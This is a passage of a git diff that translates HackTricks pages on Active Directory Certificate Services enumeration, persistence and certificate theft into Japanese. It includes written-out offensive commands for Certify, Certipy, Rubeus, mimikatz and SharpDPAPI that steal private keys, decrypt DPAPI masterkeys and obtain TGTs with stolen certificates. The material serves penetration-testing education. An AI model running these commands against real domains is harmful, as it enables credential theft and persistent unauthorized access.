**ネットワークデバイス登録サービス**を使用します。これを使用するには、サーバーに**ネットワークデバイス登録サービスロール**をインストールする必要があります。これにより、クライアント(主にネットワークデバイス)が**シンプル証明書登録プロトコル**(SCEP)を介して証明書を取得できます。有効になると、管理者はURL `http:///CertSrv/mscep_admin/`からワンタイムパスワード(OTP)を取得できます。管理者はOTPをネットワークデバイスに提供し、デバイスはURL `http://NDESSERVER/CertSrv/mscep/`を使用してSCEPを使用して証明書をリクエストします。 -On a Windows machine, users can request certificates using a GUI by launching `certmgr.msc` (for user certificates) or `certlm.msc` (for computer certificates), expanding the Personal certificate `store → right clicking Certificates → All Tasks → Request New Certificate`. +Windowsマシンでは、ユーザーはGUIを使用して証明書をリクエストできます。ユーザー証明書の場合は`certmgr.msc`を起動し、パーソナル証明書ストアを展開して`Certificates`を右クリックし、`All Tasks`を選択し、`Request New Certificate`を選択します。 -One can also use the built-in **`certreq.exe`** command or PowerShell’s **`Get-Certificate`** command for certificate enrolment. +証明書の登録には、組み込みの**`certreq.exe`**コマンドまたはPowerShellの**`Get-Certificate`**コマンドも使用できます。 -## Certificate Authentication +## 証明書の認証 -AD supports certificate authentication over **two protocols** by default: **Kerberos** and **Secure Channel** (Schannel). +ADはデフォルトで**2つのプロトコル**を介した証明書認証をサポートしています:**Kerberos**と**Secure Channel**(Schannel)。 -### Kerberos Authentication and the NTAuthCertificates Container +### Kerberos認証とNTAuthCertificatesコンテナ -In summary, a user will **sign** the authenticator for a **TGT request** using the **private key** of their certificate and submit this request to a **domain controller**. The domain controller performs a number of **verification** steps and **issues a TGT** if everything **passes**. +要約すると、ユーザーは自分の証明書の**秘密鍵**を使用して**TGTリクエスト**の認証 +### セキュアチャネル(Schannel)認証 -Or, more detailed: - -> The **KDC** **validates** the **user's certificate** (time, path, and revocation status) to ensure that the certificate is from a trusted source. The KDC uses CryptoAPI to build a **certification path** from the user's certificate to a **root certification authority** (CA) certificate that resides in the **root store** on the domain controller. The KDC then uses CryptoAPI to verify the **digital signature** on the signed authenticator that was included in the preauthentication data fields. The domain controller verifies the signature and uses the public key from the user's certificate to prove that the request originated from the owner of the private key that corresponds to the public key. **The KDC also verifies that the issuer is trusted and appears in the NTAUTH certificate store.** - -The “NTAUTH certificate store” mentioned here refers to an AD object AD CS installs at the following location: - -`CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` - -> By publishing the **CA certificate to the Enterprise NTAuth store**, the Administrator indicates that the **CA is trusted** to issue certificates of these types. Windows CAs automatically publish their CA certificates to this store. - -This means that when **AD CS creates a new CA** (or it renews CA certificates), it publishes the new certificate to the **`NTAuthCertificates`** object by adding the new certificate to the object’s `cacertificate` attribute: - -
- -During certificate authentication, the DC can then verify that the authenticating certificate chains to a CA certificate defined by the **`NTAuthCertificates`** object. CA certificates in the **`NTAuthCertificates`** object must in turn chain to a root CA. The big takeaway here is the **`NTAuthCertificates`** object is the root of trust for certificate authentication in Active Directory! - -### Secure Channel (Schannel) Authentication - -Schannel is the security support provider (SSP) Windows leverages when establishing TLS/SSL connections. Schannel supports **client authentication** (amongst many other capabilities), enabling a remote server to **verify the identity of the connecting user**. It accomplishes this using PKI, with certificates being the primary credential.\ -During the **TLS handshake**, the server **requests a certificate from the client** for authentication. The client, having previously been issued a client authentication certificate from a CA the server trusts, sends its certificate to the server. The **server then validates** the certificate is correct and grants the user access assuming everything is okay. +Schannelは、TLS/SSL接続を確立する際にWindowsが利用するセキュリティサポートプロバイダ(SSP)です。Schannelは、**クライアント認証**(その他多くの機能の中で)をサポートし、リモートサーバが接続するユーザの**身元を確認**することができます。これは、証明書を主要な資格情報として使用するPKIを使用して行われます。\ +**TLSハンドシェイク**中、サーバは認証のためにクライアントから証明書を要求します。サーバが信頼するCAからクライアント認証証明書を事前に発行されたクライアントは、証明書をサーバに送信します。サーバはその後、証明書が正しいことを検証し、すべてが正常であればユーザにアクセスを許可します。
-When an account authenticates to AD using a certificate, the DC needs to somehow map the certificate credential to an AD account. **Schannel** first attempts to **map** the **credential** to a **user** account use Kerberos’s **S4U2Self** functionality.\ -If that is **unsuccessful**, it will follow the attempt to map the **certificate to a user** account using the certificate’s **SAN extension**, a combination of the **subject** and **issuer** fields, or solely from the issuer. By default, not many protocols in AD environments support AD authentication via Schannel out of the box. WinRM, RDP, and IIS all support client authentication using Schannel, but it **requires additional configuration**, and in some cases – like WinRM – does not integrate with Active Directory.\ -One protocol that does commonly work – assuming AD CS has been setup - is **LDAPS**. The cmdlet `Get-LdapCurrentUser` demonstrates how one can authenticate to LDAP using .NET libraries. The cmdlet performs an LDAP “Who am I?” extended operation to display the currently authenticating user: +ADに証明書を使用してアカウントが認証される場合、DCは証明書の資格情報をADアカウントにマッピングする必要があります。Schannelは、最初にKerberosの**S4U2Self**機能を使用して資格情報をユーザアカウントにマッピングしようとします。\ +それが**失敗した場合**、証明書をユーザアカウントにマッピングするために、証明書の**SAN拡張**、**サブジェクト**と**発行者**のフィールドの組み合わせ、または発行者のみを使用します。デフォルトでは、AD環境の多くのプロトコルは、Schannelを使用したAD認証をそのままサポートしていません。WinRM、RDP、およびIISは、Schannelを使用したクライアント認証をサポートしていますが、**追加の設定が必要**であり、WinRMのような場合はActive Directoryと統合されていません。\ +一般的に動作するプロトコルは、AD CSがセットアップされている場合に**LDAPS**です。コマンドレット`Get-LdapCurrentUser`は、.NETライブラリを使用してLDAPに認証する方法を示しています。このコマンドレットは、LDAPの「Who am I?」拡張操作を実行して現在認証中のユーザを表示します。
-## AD CS Enumeration +## AD CS列挙 -Just like for most of AD, all the information covered so far is available by querying LDAP as a domain authenticated, but otherwise unprivileged, user. +ADのほとんどの情報と同様に、これまでにカバーした情報は、ドメイン認証されたが特権のないユーザとしてLDAPをクエリすることで利用できます。 -If we want to **enumerate Enterprise CAs** and their settings, one can query LDAP using the `(objectCategory=pKIEnrollmentService)` LDAP filter on the `CN=Configuration,DC=,DC=` search base (this search base corresponds with the Configuration naming context of the AD forest). The results will identify the DNS hostname of the CA server, the CA name itself, the certificate start and end dates, various flags, published certificate templates, and more. +エンタープライズCAとその設定を**列挙**するには、`CN=Configuration,DC=,DC=`の検索ベース(この検索ベースはADフォレストの構成名前空間に対応します)でLDAPをクエリし、`(objectCategory=pKIEnrollmentService)`のLDAPフィルタを使用します。結果には、CAサーバのDNSホスト名、CA名自体、証明書の開始日と終了日、さまざまなフラグ、公開された証明書テンプレートなどが表示されます。 -**Tools to enumerate vulnerable certificates:** - -* [**Certify**](https://github.com/GhostPack/Certify) is a C# tool that can **enumerate useful configuration and infrastructure information about of AD CS environments** and can request certificates in a variety of different ways. -* [**Certipy**](https://github.com/ly4k/Certipy) is a **python** tool to be able to **enumerate and abuse** Active Directory Certificate Services (**AD CS**) **from any system** (with access to the DC) that can generate output for BloodHound created by [**Lyak**](https://twitter.com/ly4k\_) (good person better hacker) . +**脆弱な証明書を列挙するためのツール:** +* [**Certify**](https://github.com/GhostPack/Certify)は、AD CS環境に関する有用な設定とインフラ情報を列挙し、さまざまな方法で証明書を要求できるC#ツールです。 +* [**Certipy**](https://github.com/ly4k/Certipy)は、Active Directory証明書サービス(AD CS)を**任意のシステム**(DCへのアクセス権がある)から列挙および悪用できる**Python**ツールで、[**Lyak**](https://twitter.com/ly4k\_)(良い人で優れたハッカー)が作成したBloodHoundの出力を生成できます。 ```bash # https://github.com/GhostPack/Certify Certify.exe cas #enumerate trusted root CA certificates, certificates defined by the NTAuthCertificates object, and various information about Enterprise CAs @@ -213,8 +191,7 @@ certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 17 certutil.exe -TCAInfo #enumerate Enterprise CAs certutil -v -dstemplate #enumerate certificate templates ``` - -## References +## 参考文献 * [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) * [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) @@ -223,10 +200,10 @@ certutil -v -dstemplate #enumerate certificate templates ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index d08b89a96..dd415b35b 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -1,92 +1,82 @@ -# AD CS Account Persistence +# AD CS アカウントの永続化
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。
-## Active User Credential Theft via Certificates – PERSIST1 +## 証明書を介したアクティブユーザーの資格情報窃取 - PERSIST1 -If the user is allowed to request a certificate that allows domain authentication, an attacker could **request** and **steal** it to **maintain** **persistence**. - -The **`User`** template allows that and comes by **default**. However, it might be disabled. So, [**Certify**](https://github.com/GhostPack/Certify) allows you to find valid certificates to persist: +ユーザーがドメイン認証を許可される証明書をリクエストできる場合、攻撃者はそれを**リクエスト**して**窃取**し、**永続化**することができます。 +**`User`** テンプレートはそれを許可し、**デフォルトで**提供されます。ただし、無効になっている場合もあります。したがって、[**Certify**](https://github.com/GhostPack/Certify)を使用して永続化するための有効な証明書を見つけることができます。 ``` Certify.exe find /clientauth ``` +注意してください。**証明書は認証に使用**されることができます。ユーザーが**パスワードを変更**しても、証明書が**有効**である限り、そのユーザーとして認証されます。 -Note that a **certificate can be used for authentication** as that user as long as the certificate is **valid**, **even** if the user **changes** their **password**. - -From the **GUI** it's possible to request a certificate with `certmgr.msc` or via the command-line with `certreq.exe`. - -Using [**Certify**](https://github.com/GhostPack/Certify) you can run: +**GUI**からは、`certmgr.msc`を使用するか、コマンドラインから`certreq.exe`を使用して証明書を要求することができます。 +[**Certify**](https://github.com/GhostPack/Certify)を使用すると、次のコマンドを実行できます: ``` Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME ``` - -The result will be a **certificate** + **private key** `.pem` formatted block of text - +結果は、テキストブロック形式の **証明書** + **秘密鍵** `.pem` となります。 ```bash openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` - -To **use that certificate**, one can then **upload** the `.pfx` to a target and **use it with** [**Rubeus**](https://github.com/GhostPack/Rubeus) to **request a TGT** for the enrolled user, for as long as the certificate is valid (default lifetime is 1 year): - +その証明書を使用するために、`.pfx` ファイルをターゲットにアップロードし、[**Rubeus**](https://github.com/GhostPack/Rubeus) を使用して登録されたユーザーの TGT を要求することができます。証明書の有効期間(デフォルトは1年)の間、TGT を要求することができます。 ```bash Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! ``` - {% hint style="warning" %} -Combined with the technique outlined in the [**THEFT5**](certificate-theft.md#ntlm-credential-theft-via-pkinit-theft5) section, an attacker can also persistently **obtain the account’s NTLM hash**, which the attacker could use to authenticate via **pass-the-hash** or **crack** to obtain the **plaintext** **password**. \ -This is an alternative method of **long-term credential theft** that does **not touch LSASS** and is possible from a **non-elevated context.** +[**THEFT5**](certificate-theft.md#ntlm-credential-theft-via-pkinit-theft5)セクションで説明されている技術と組み合わせることで、攻撃者はアカウントのNTLMハッシュを持続的に取得することができます。攻撃者はこれを使用して**パス・ザ・ハッシュ**または**クラック**を行い、**平文のパスワード**を取得することができます。\ +これは**LSASSに触れずに**行われる**長期的な資格情報の盗難**の代替手法であり、**昇格していない状態**から可能です。 {% endhint %} -## Machine Persistence via Certificates - PERSIST2 +## 証明書を使用したマシンの永続化 - PERSIST2 -If a certificate template allowed for **Domain Computers** as enrolment principals, an attacker could **enrol a compromised system’s machine account**. The default **`Machine`** template matches all those characteristics. +証明書テンプレートが**Domain Computers**を登録主体として許可している場合、攻撃者は**侵害されたシステムのマシンアカウントを登録**することができます。デフォルトの**`Machine`**テンプレートはこれらの特性に一致します。 -If an **attacker elevates privileges** on compromised system, the attacker can use the **SYSTEM** account to enrol in certificate templates that grant enrolment privileges to machine accounts (more information in [**THEFT3**](certificate-theft.md#machine-certificate-theft-via-dpapi-theft3)). - -You can use [**Certify**](https://github.com/GhostPack/Certify) to gather a certificate for the machine account elevating automatically to SYSTEM with: +攻撃者が侵害されたシステムで特権を昇格させると、攻撃者は**SYSTEM**アカウントを使用して、マシンアカウントに登録権限を付与する証明書テンプレートに登録することができます(詳細は[**THEFT3**](certificate-theft.md#machine-certificate-theft-via-dpapi-theft3)を参照)。 +[**Certify**](https://github.com/GhostPack/Certify)を使用して、自動的にSYSTEMに昇格してマシンアカウントの証明書を収集することができます。 ```bash Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine ``` +アクセス権を持つマシンアカウント証明書を使用すると、攻撃者はマシンアカウントとして**Kerberosに認証**することができます。**S4U2Self**を使用して、攻撃者は任意のホスト上の**Kerberosサービスチケット**(例:CIFS、HTTP、RPCSSなど)を任意のユーザーとして取得できます。 -Note that with access to a machine account certificate, the attacker can then **authenticate to Kerberos** as the machine account. Using **S4U2Self**, an attacker can then obtain a **Kerberos service ticket to any service on the host** (e.g., CIFS, HTTP, RPCSS, etc.) as any user. +最終的に、これにより攻撃者はマシンの持続性手法を得ることができます。 -Ultimately, this gives an attack a machine persistence method. +## 証明書の更新によるアカウントの持続性 - PERSIST3 -## Account Persistence via Certificate Renewal - PERSIST3 +証明書テンプレートには、発行された証明書の使用期間を決定する**有効期間**と、**更新期間**(通常は6週間)があります。これは、証明書が**期限切れになる前の一定期間**で、アカウントが発行元の証明書機関から証明書を**更新できる**ウィンドウです。 -Certificate templates have a **Validity Period** which determines how long an issued certificate can be used, as well as a **Renewal period** (usually 6 weeks). This is a window of **time before** the certificate **expires** where an **account can renew it** from the issuing certificate authority. - -If an attacker compromises a certificate capable of domain authentication through theft or malicious enrolment, the attacker can **authenticate to AD for the duration of the certificate’s validity period**. The attacker, however, can r**enew the certificate before expiration**. This can function as an **extended persistence** approach that **prevents additional ticket** enrolments from being requested, which **can leave artifacts** on the CA server itself. +攻撃者が窃盗または悪意のある登録を介してドメイン認証が可能な証明書を侵害した場合、攻撃者は証明書の有効期間中にADに**認証できます**。ただし、攻撃者は**期限切れになる前に証明書を更新**することができます。これは、**追加のチケット**の登録が要求されないようにする**拡張された持続性**アプローチとして機能し、CAサーバー自体に**アーティファクトを残す**可能性があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 38089672d..7bba2936a 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -1,25 +1,24 @@ -# AD CS Certificate Theft +# AD CS 証明書の盗難
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。
-## What can I do with a certificate - -Before checking how to steal the certificates here you have some info about how to find what the certificate is useful for: +## 証明書で何ができるか +証明書を盗む方法を確認する前に、証明書がどのように役立つかについての情報をいくつか紹介します。 ```powershell # Powershell $CertPath = "C:\path\to\cert.pfx" @@ -31,36 +30,34 @@ $Cert.EnhancedKeyUsageList # cmd certutil.exe -dump -v cert.pfx ``` +## Crypto APIを使用して証明書をエクスポートする - THEFT1 -## Exporting Certificates Using the Crypto APIs – THEFT1 +ユーザーまたはマシンの証明書と秘密鍵を抽出する最も簡単な方法は、**対話型デスクトップセッション**を介して行うことです。もし**秘密鍵**が**エクスポート可能**であれば、`certmgr.msc`で証明書を右クリックし、`すべてのタスク → エクスポート...`を選択して、パスワードで保護された.pfxファイルとしてエクスポートすることができます。\ +これは**プログラムで**も実行することができます。PowerShellの`ExportPfxCertificate`コマンドレットや[TheWoverのCertStealer C#プロジェクト](https://github.com/TheWover/CertStealer)などの例があります。 -The easiest way to extract a user or machine certificate and private key is through an **interactive desktop session**. If the **private key** is **exportable**, one can simply right click the certificate in `certmgr.msc`, and go to `All Tasks → Export`… to export a password protected .pfx file. \ -One can accomplish this **programmatically** as well. Examples include PowerShell’s `ExportPfxCertificate` cmdlet or [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). +これらの方法は、証明書ストアとのやり取りに**Microsoft CryptoAPI**(CAPI)またはより新しいCryptography API: Next Generation(CNG)を使用しています。これらのAPIは、証明書の保存と認証に必要なさまざまな暗号化サービスを提供します(他の用途も含まれます)。 -Underneath, these methods use the **Microsoft CryptoAPI** (CAPI) or more modern Cryptography API: Next Generation (CNG) to interact with the certificate store. These APIs perform various cryptographic services that needed for certificate storage and authentication (amongst other uses). +もし秘密鍵がエクスポート不可能であれば、CAPIとCNGはエクスポート不可能な証明書の抽出を許可しません。**Mimikatz**の`crypto::capi`および`crypto::cng`コマンドを使用すると、CAPIとCNGをパッチして秘密鍵のエクスポートを許可することができます。`crypto::capi`は現在のプロセスで**CAPIをパッチ**しますが、`crypto::cng`は**lsass.exeのメモリをパッチ**する必要があります。 -If the private key is non-exportable, CAPI and CNG will not allow extraction of non-exportable certificates. **Mimikatz’s** `crypto::capi` and `crypto::cng` commands can patch the CAPI and CNG to **allow exportation** of private keys. `crypto::capi` **patches** **CAPI** in the current process whereas `crypto::cng` requires **patching** **lsass.exe’s** memory. +## DPAPIを使用したユーザー証明書の盗難 - THEFT2 -## User Certificate Theft via DPAPI – THEFT2 - -More info about DPAPI in: +DPAPIについての詳細は次の場所で確認できます: {% content-ref url="../../windows-local-privilege-escalation/dpapi-extracting-passwords.md" %} [dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md) {% endcontent-ref %} -Windows **stores certificate private keys using DPAPI**. Microsoft breaks out the storage locations for user and machine private keys. When manually decrypting the encrypted DPAPI blobs, a developer needs to understand which cryptography API the OS used as the private key file structure differs between the two APIs. When using SharpDPAPI, it automatically accounts for these file format differences. +Windowsは、証明書の秘密鍵を**DPAPIを使用して保存**します。Microsoftは、ユーザーとマシンの秘密鍵の保存場所を分けています。暗号化されたDPAPIのブロブを手動で復号化する場合、開発者はOSが使用した暗号化APIを理解する必要があります。なぜなら、秘密鍵ファイルの構造は2つのAPI間で異なるからです。SharpDPAPIを使用すると、これらのファイル形式の違いを自動的に考慮します。 -Windows most **commonly stores user certificates** in the registry in the key `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, though some personal certificates for users are **also** stored in `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. The associated user **private key locations** are primarily at `%APPDATA%\Microsoft\Crypto\RSA\User SID\` for **CAPI** keys and `%APPDATA%\Microsoft\Crypto\Keys\` for **CNG** keys. +Windowsは、ユーザー証明書を**一般的には**レジストリの`HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`に保存しますが、一部のユーザーの個人証明書は`%APPDATA%\Microsoft\SystemCertificates\My\Certificates`にも保存されます。関連するユーザーの**秘密鍵の場所**は、主に**CAPI**キーの場合は`%APPDATA%\Microsoft\Crypto\RSA\User SID\`、**CNG**キーの場合は`%APPDATA%\Microsoft\Crypto\Keys\`です。 -To obtain a certificate and its associated private key, one needs to: +証明書と関連する秘密鍵を取得するには、次の手順を実行する必要があります: -1. Identify w**hich certificate one wants to steal** from the user’s certificate store and extract the key store name. -2. Find the **DPAPI masterkey** needed to decrypt the associated private key. -3. Obtain the plaintext DPAPI masterkey and use it to **decrypt the private key**. - -To **get the plaintext DPAPI masterkey**: +1. ユーザーの証明書ストアから**盗みたい証明書**を特定し、キーストア名を抽出します。 +2. 関連する秘密鍵を復号化するために必要な**DPAPIマスターキー**を見つけます。 +3. 平文のDPAPIマスターキーを取得し、それを使用して秘密鍵を**復号化**します。 +平文のDPAPIマスターキーを**取得するには**: ```bash # With mimikatz ## Running in a process in the users context @@ -70,66 +67,61 @@ dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc ## knowing the users password dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS ``` - -To simplify masterkey file and private key file decryption, [**SharpDPAPI’s**](https://github.com/GhostPack/SharpDPAPI) `certificates` command can be used with the `/pvk`, `/mkfile`, `/password`, or `{GUID}:KEY` arguments to decrypt the private keys and associated certificates, outputting a `.pem` text file. - +マスターキーファイルとプライベートキーファイルの復号を簡素化するために、[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)の`certificates`コマンドを使用できます。`/pvk`、`/mkfile`、`/password`、または`{GUID}:KEY`引数を使用して、プライベートキーと関連する証明書を復号し、`.pem`テキストファイルを出力します。 ```bash SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt # Transfor .pem to .pfx openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` +## DPAPIを使用したマシン証明書の盗難 – THEFT3 -## Machine Certificate Theft via DPAPI – THEFT3 +Windowsはマシン証明書をレジストリキー `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` に保存し、プライベートキーはアカウントによって異なる場所に保存します。\ +SharpDPAPIはこれらの場所すべてを検索しますが、最も興味深い結果は 